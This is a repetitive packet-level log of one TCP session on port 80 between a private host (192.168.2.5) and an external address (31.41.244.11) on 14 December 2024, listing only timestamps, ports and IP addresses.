Dec 14, 2024 14:56:19.828069925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.828085899 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.828128099 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.828160048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.829191923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.829209089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.829257965 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.830332994 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.830400944 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.830401897 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.830600977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.831592083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.831603050 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.831660986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.831695080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.832680941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.832830906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.832890987 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.833908081 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.834024906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.834079981 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.835093021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.835158110 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.835177898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.835232973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.836380005 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.836390972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.836527109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.837413073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.837476015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.837553024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.837615013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.838633060 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.838711023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.838776112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.839855909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.839904070 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.839942932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.840101004 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.841253996 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.841264009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.841316938 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.842297077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.842454910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.842505932 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.843358994 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.843404055 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.843446970 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.844543934 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.844546080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.844629049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.844675064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.845837116 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.845849037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.845896006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.846889019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.846932888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.847196102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.848295927 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.848306894 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.848342896 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.848371983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.849375010 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.849416971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.849472046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.850490093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.850501060 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.850549936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.851634026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.851803064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.851850986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.852885962 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.852967024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.853029013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.854022980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.854080915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.854310036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.854357958 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.855369091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.855380058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.855438948 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.856524944 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.856537104 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.856584072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.856584072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.857662916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.857712984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.857747078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.857790947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.858843088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.858855009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.858913898 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.860203028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.860213995 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.860272884 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.861417055 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.861464977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.861479998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.861537933 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.862368107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.862447977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.862483025 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.862539053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.863691092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.863725901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.863763094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.863794088 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.864883900 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.864918947 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.864981890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.866139889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.866261005 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.866317034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.867202044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.867351055 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.867414951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.868410110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.868478060 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.868510008 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.868675947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.869672060 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.869707108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.869733095 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.869764090 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.870711088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.870767117 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.870852947 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.870902061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.872220993 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.872253895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.872323036 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.872323036 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.873267889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.873301983 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.873326063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.873349905 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.874496937 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.874535084 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.874658108 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.004918098 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.004982948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.004996061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.005085945 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.005733013 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.005769014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.005781889 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.005811930 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.006900072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.006936073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.006958961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.006989002 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.007900953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.007951975 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.008304119 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.008361101 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.008368969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.008527994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.009741068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.009774923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.009793997 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.009874105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.010828018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.010862112 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.010875940 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.010919094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.011930943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.011965990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.011985064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.012011051 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.012989044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.013104916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.013173103 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.014214039 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.014283895 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.014369011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.014436007 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.015398026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.015451908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.015453100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.015506029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.016634941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.016686916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.016688108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.016735077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.017893076 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.017929077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.017949104 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.018001080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.018963099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.019017935 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.019089937 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.019141912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.020242929 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.020354033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.020395994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.020396948 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.021315098 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.021383047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.021471024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.021562099 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.022594929 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.022629976 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.022665024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.022697926 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.023746967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.023818970 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.023899078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.023982048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.025053978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.025089025 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.025156021 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.025156021 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.026109934 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.026165962 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.026252985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.026309013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.027307987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.027374983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.027384043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.027451038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.028439999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.028505087 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.028594971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.028650999 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.029616117 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.029665947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.029738903 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.029807091 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.030921936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.030956030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.031124115 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.031991005 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.032047987 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.032135963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.032545090 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.033245087 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.033500910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.033557892 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.034343004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.034560919 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.035644054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.035680056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.036883116 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.036892891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.036920071 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.036932945 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.037519932 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.038327932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.038362980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.038378954 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.038408041 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.039405107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.039438963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.039493084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.039530039 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.040329933 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.040390968 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.040457964 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.040543079 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.041508913 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.041565895 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.041655064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.041704893 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.042861938 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.042896986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.042949915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.043919086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.043977976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.044037104 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.044542074 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.045111895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.045164108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.045164108 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.045216084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.046230078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.046293020 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.046425104 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.046478987 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.047550917 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.047586918 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.047610044 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.047667980 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.048743010 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.048777103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.048814058 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.048846960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.049829006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.049889088 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.050025940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.050077915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.051177025 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.051212072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.051233053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.051264048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.052242041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.052309990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.052433014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.052542925 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.053508997 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.053544044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.053576946 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.053608894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.054601908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.054651022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.054689884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.054738998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.055890083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.055924892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.055953026 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.055989027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.056900978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.056957960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.057029009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.057087898 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.058135033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.058198929 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.058229923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.058278084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.059395075 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.059429884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.059449911 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.059480906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.060491085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.060659885 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.060719967 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.061713934 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.061767101 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.061897993 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.061950922 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.063086033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.063119888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.063184977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.064153910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.064409971 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.064506054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.065254927 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.065320015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.065448999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.065505981 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.066524029 CET	80	49846	31.41.244.11	192.168.2.5
